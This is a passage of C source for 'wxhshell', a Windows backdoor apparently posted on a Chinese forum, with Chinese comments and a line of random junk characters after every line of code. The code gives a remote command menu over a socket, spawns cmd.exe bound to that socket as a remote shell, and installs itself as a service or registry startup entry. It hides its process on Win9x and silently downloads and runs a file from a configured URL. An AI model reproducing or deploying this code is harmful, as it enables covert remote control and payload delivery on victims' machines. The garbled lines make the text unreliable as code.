T{Q&}`D)r  
    switch(cmd[0]) { <i?-x&Q?=  
  Sa(r l^qZ2  
  // 帮助 7tnzgtal  
  case '?': { `fHiY.-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :"^$7  
    break;  HuC lO  
  } Y`RfE  
  // 安装 F:U_gW?  
  case 'i': { Gj0NN:  
    if(Install()) 1 1'Tt!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  6<GWDO  
    else Z/;SR""wa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O`| ri5d  
    break; s!\L1E  
    } M>#S z  
  // 卸载 Sy~Mh]{E  
  case 'r': { IT"jtV  
    if(Uninstall())  EZFWxR/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YDL)F<Y  
    else N:zSJW`1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 ErYob.p  
    break; _E 8SX v  
    } we? #)9Q<  
  // 显示 wxhshell 所在路径 MS)bhZvO  
  case 'p': { O*7~t17  
    char svExeFile[MAX_PATH]; ;RYKqUE  
    strcpy(svExeFile,"\n\r"); C$; ~=  
      strcat(svExeFile,ExeFile); EtG)2)  
        send(wsh,svExeFile,strlen(svExeFile),0); #v<+G=r*O  
    break; <WmCH+>?r  
    } )<&QcO_  
  // 重启 ; U4X U  
  case 'b': { Hs`  '](  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sy55w={  
    if(Boot(REBOOT)) :-8u*5QK]`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mUw,q;{  
    else { L i^V?  
    closesocket(wsh); `VbG%y&I  
    ExitThread(0); c`Cn9bX  
    } `z.#O\@o  
    break; ]QQ"7_+  
    } 4 n( f/  
  // 关机 w5Z3e^g  
  case 'd': { "/=x u|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \k8_ZJw  
    if(Boot(SHUTDOWN)) }#M|3h;q9+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TjdYCk]'  
    else { fE iEy%o  
    closesocket(wsh); IU}`5+:m  
    ExitThread(0); :|TBsd|/x  
    } $+j )  
    break; a{=~#u8  
    } 6]*qx5m`<l  
  // 获取shell ^S @b*  
  case 's': { |Ca n  
    CmdShell(wsh); ,#{aAx|]  
    closesocket(wsh); <o O_wS@:  
    ExitThread(0); &iivSc;#  
    break; ljRR  
  } sj~'.Zs%  
  // 退出 Nt?B(.G  
  case 'x': { b7/4~_s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZhU2z*qN#  
    CloseIt(wsh); }^t?v*kcA  
    break; >E#4mm  
    } Yy]He nw;  
  // 离开 c"r( l~fc  
  case 'q': { Bdi~ B")  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vow+,,oh  
    closesocket(wsh); HV?@MBM  
    WSACleanup(); h";sQ'us  
    exit(1); 5Z'pMkn3  
    break; (nm&\b~j  
        } H^~!t{\  
  } i&#c+iTH  
  } bV ym  
;nbvn  
  // 提示信息 9,IGZ55C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FqySnrJQ  
} `B~%TEvMh  
  } e BPMT  
P=.W.oS  
  return; Pt$7U[N  
} hO8B]4=&*  
}j x{Cw  
// shell模块句柄 ESAh(A)8  
int CmdShell(SOCKET sock) y!j1xnzki  
{ \BA_PyS?W+  
STARTUPINFO si; (Y%}N(Jg  
ZeroMemory(&si,sizeof(si)); EW)]75o{QF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LdcP0G\"VG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,fbO}  
PROCESS_INFORMATION ProcessInfo; hk(^?Fp  
char cmdline[]="cmd"; HDYoM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PeOgXg)L`z  
  return 0; H)Yv_gT  
} AyWCb  
g_`8K,6ln  
// 自身启动模式 ;,D7VxWhY  
int StartFromService(void) iPao54Z  
{ YB[P`Muj  
typedef struct LS;kq',  
{ Xv9C D  
  DWORD ExitStatus; };|'8'5  
  DWORD PebBaseAddress; *ZHk^d:  
  DWORD AffinityMask; V'8 (}(s/  
  DWORD BasePriority; %H54^Z<y  
  ULONG UniqueProcessId; `y4+OXZ^  
  ULONG InheritedFromUniqueProcessId; O1QHG'00  
}   PROCESS_BASIC_INFORMATION; iIg_S13  
Z"A:^jZ<s  
PROCNTQSIP NtQueryInformationProcess; !HFwQGP.Y  
7J\I%r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z|u_DaSrr|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |e!Sm{#!  
lw7wvZD  
  HANDLE             hProcess; 0 }q/VH57  
  PROCESS_BASIC_INFORMATION pbi; Q"KH!Bu%P  
f_}55?i0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K/altyj`  
  if(NULL == hInst ) return 0; H4UnF5G  
s`TfNwDvU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _:T\[sz5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 18~j>fN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C)`/Q(^  
rz4S"4  
  if (!NtQueryInformationProcess) return 0; :E.mU{  
I3A](`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >[[< 5$,T  
  if(!hProcess) return 0; {Tx+m;5F  
,^/;!ErR$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; % L]xar  
I;=}@]9  
  CloseHandle(hProcess); O\x Uv  
3?C$Tl2G8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >LLFe~9`g  
if(hProcess==NULL) return 0; h)sc-e  
s:M:Ff  
HMODULE hMod; V XC_Y  
char procName[255]; *<J**FhcMu  
unsigned long cbNeeded; ?k/Uw'J4u/  
?(F~9 V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ltc>@  
o|*,<5t  
  CloseHandle(hProcess); ${ e{#  
? ;\YiOTda  
if(strstr(procName,"services")) return 1; // 以服务启动 iidK}<o  
=*t)@bn  
  return 0; // 注册表启动 gq/q]Fm\  
} O -@7n0  
*T 6<'a  
// 主模块 vAX %i(4  
int StartWxhshell(LPSTR lpCmdLine) F&Q:1`y  
{ R6!t2gdKe@  
  SOCKET wsl; wqJH  
BOOL val=TRUE; VsFRG;:\U  
  int port=0; 5'6Oan7dL:  
  struct sockaddr_in door; +YXyfTa  
*PD7H9m  
  if(wscfg.ws_autoins) Install(); !s5 _JO  
:Z,zWk1|  
port=atoi(lpCmdLine); 1--5ok h  
21W>}I"0?  
if(port<=0) port=wscfg.ws_port; +hi!=^b]  
hCM+=]z"  
  WSADATA data; J-b Z`)[Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %G>*Pez %  
 $33wK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wTqgH@rGtR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x]w%?BlS  
  door.sin_family = AF_INET; *&!&Y*Jzg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T2GJoJ!  
  door.sin_port = htons(port); U",kAQY  
{o AJL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o[aRG7C  
closesocket(wsl); t '* L,  
return 1; ^k/@y@%  
} dCN4aY[d  
kowBB0  
  if(listen(wsl,2) == INVALID_SOCKET) { (zte'F4  
closesocket(wsl); 2e#hJ-/`-  
return 1; <\Lii0hi!  
} #TXgV0\F  
  Wxhshell(wsl); QrDI$p7;'  
  WSACleanup(); r3;?]r.}7  
Iy'a2@   
return 0; iU5M_M$G  
kect)=T(  
} 0"LJ{:plz  
5@6F8:x}V  
// 以NT服务方式启动 U%_BgLwy%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \\xoOA.  
{ V-IXtQR  
DWORD   status = 0; G,3.'S,7  
  DWORD   specificError = 0xfffffff; lh{U@,/  
=[`B -?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m?0caLw<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vjmNS=l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TZ3"u@ 06  
  serviceStatus.dwWin32ExitCode     = 0; "]B:QeMeF!  
  serviceStatus.dwServiceSpecificExitCode = 0; f }P6P>0T  
  serviceStatus.dwCheckPoint       = 0; Onz@A"  
  serviceStatus.dwWaitHint       = 0; 67?O}~jbG  
8k vG<&D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ 5n Lrn,~  
  if (hServiceStatusHandle==0) return; IN~Q(A]Z%  
E:(DidSE@  
status = GetLastError(); \W4|.[  
  if (status!=NO_ERROR) @vs+)aRa  
{ tFn_{fCc>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4zzJ5,S1  
    serviceStatus.dwCheckPoint       = 0; gLy1*k4  
    serviceStatus.dwWaitHint       = 0; }fU"s"  
    serviceStatus.dwWin32ExitCode     = status; Lk#8G>U  
    serviceStatus.dwServiceSpecificExitCode = specificError; "V'<dn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B OKY X  
    return; *: }9(8d  
  } K !g!tA$  
:"{("!x   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eaB6e@]@  
  serviceStatus.dwCheckPoint       = 0; ]O]6O%.ao  
  serviceStatus.dwWaitHint       = 0; z>}H[0[#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y#7sDd!N|  
} j2^Vz{  
yGj'0c::  
// 处理NT服务事件,比如:启动、停止 >sGIpER7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @|N{E I  
{ 2K wr=t  
switch(fdwControl) @` 5P^H7  
{ *QH~ z2:[  
case SERVICE_CONTROL_STOP: pV[SY6/  
  serviceStatus.dwWin32ExitCode = 0; _D.4=2@|l8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <aSjK#  
  serviceStatus.dwCheckPoint   = 0; 1K\z amBg  
  serviceStatus.dwWaitHint     = 0; upi\pXv  
  { DXyRNE<G[C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M$,4B  
  } djmd @{Djt  
  return; l_$ le  
case SERVICE_CONTROL_PAUSE: ((Uw[8#2 `  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; efN5(9*9R  
  break; y8%QS*  
case SERVICE_CONTROL_CONTINUE: tK7v&[cI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *{<46 0`!q  
  break; wDp5HZ>  
case SERVICE_CONTROL_INTERROGATE: 0H!J  
  break; -RI&uFqOI  
}; :yxP3e%rp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;r?s7b/>  
} SR>(GQ,m0;  
Jo'~oZ$  
// 标准应用程序主函数 (! a;}V<7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 03Uj0.Z|7  
{ s'B$/qCkR  
me@k~!e"z  
// 获取操作系统版本 ?'I-_9u  
OsIsNt=GetOsVer(); BK]5g[   
GetModuleFileName(NULL,ExeFile,MAX_PATH); FQ_a= v  
<P@ "VwUX  
  // 从命令行安装 Kt3T~k  
  if(strpbrk(lpCmdLine,"iI")) Install(); {Ri6975  
2=IZD `{!  
  // 下载执行文件 H"NBjVRU%  
if(wscfg.ws_downexe) { JCjV,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cB0"vbdO  
  WinExec(wscfg.ws_filenam,SW_HIDE); -J":'xCP!  
} Lrjp  
z"\<GmvB  
if(!OsIsNt) { k 5gvo  
// 如果时win9x,隐藏进程并且设置为注册表启动 j4%\'xj:  
HideProc(); -[}AhNYK  
StartWxhshell(lpCmdLine); &iO53I^r/  
} #sm@|'Q%  
else |BEoF[1  
  if(StartFromService()) ]kdU]}z  
  // 以服务方式启动 HuLvMYF  
  StartServiceCtrlDispatcher(DispatchTable); ak_n  
else *JArR1J  
  // 普通方式启动 O-(gkE  
  StartWxhshell(lpCmdLine); 7hlzuZob+y  
]?sw<D{  
return 0; sjy/[.4-  
}
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只看该作者 1 发表于: 2006-10-10
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